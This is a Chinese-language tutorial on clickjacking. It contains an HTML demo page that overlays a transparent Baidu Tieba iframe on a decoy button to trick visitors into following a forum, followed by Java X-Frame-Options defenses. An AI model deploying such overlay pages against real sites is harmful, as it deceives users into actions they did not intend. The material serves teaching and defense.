ClickJacking(点击劫持)

问题:

点击劫持(ClickJacking)是一种视觉上的欺骗手段。大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义;

iframe覆盖

直接示例说明

1. 假如我们在百度有个贴吧,想偷偷让别人关注它。于是我们准备一个页面:

复制代码

DOCTYPE HTML><html><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><head><title>点击劫持title><style>      html,body,iframe{          display: block;           height: 100%;            100%;           margin: 0;           padding: 0;           border:none;     }      iframe{           opacity:0;           filter:alpha(opacity=0);           position:absolute;           z-index:2;     }      button{           position:absolute;           top: 315px;           left: 462px;           z-index: 1;            72px;           height: 26px;     }style>head>     <body>           那些不能说的秘密           <button>查看详情button>          <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">iframe>     body>html>

复制代码

PS:页面看起来就这样,当然真正攻击的页面会精致些,不像这么简陋。

2. 网址传播出去后,用户手贱点击了查看详情后,其实就会点到关注按钮。

PS:可以把iframe透明设为0.3看下实际点到的东西。

3. 这样贴吧就多了一个粉丝了。

原文链接:http://www.2cto.com/Article/201603/492656.html

解决方案:

Java 使用 X-Frame-Options 预防

方案1:DENY

此规则表示页面不能被嵌入页面,即使被嵌入的页面地址是同源的。如下是简单的代码片段:

HttpServletResponse response …;

response.addHeader(“X-Frame-OPTIONS”, “DENY”);

 

方案2:SAMEORIGIN

表示只允许嵌入同源的页面,代码如下:

HttpServletResponse response …;

response.addHeader(“X-Frame-OPTIONS”, “SAMEORIGIN”);

 

方案3:Allow-From

当前可以被嵌入指定域名的页面,例如:

HttpServletResponse response …;

Response.addHeader(“X-Frame-OPTIONS”, “Allow-Fromhttps://some.othersite.com”);

原文地址:https://www.cnblogs.com/zouqin/p/5725168.html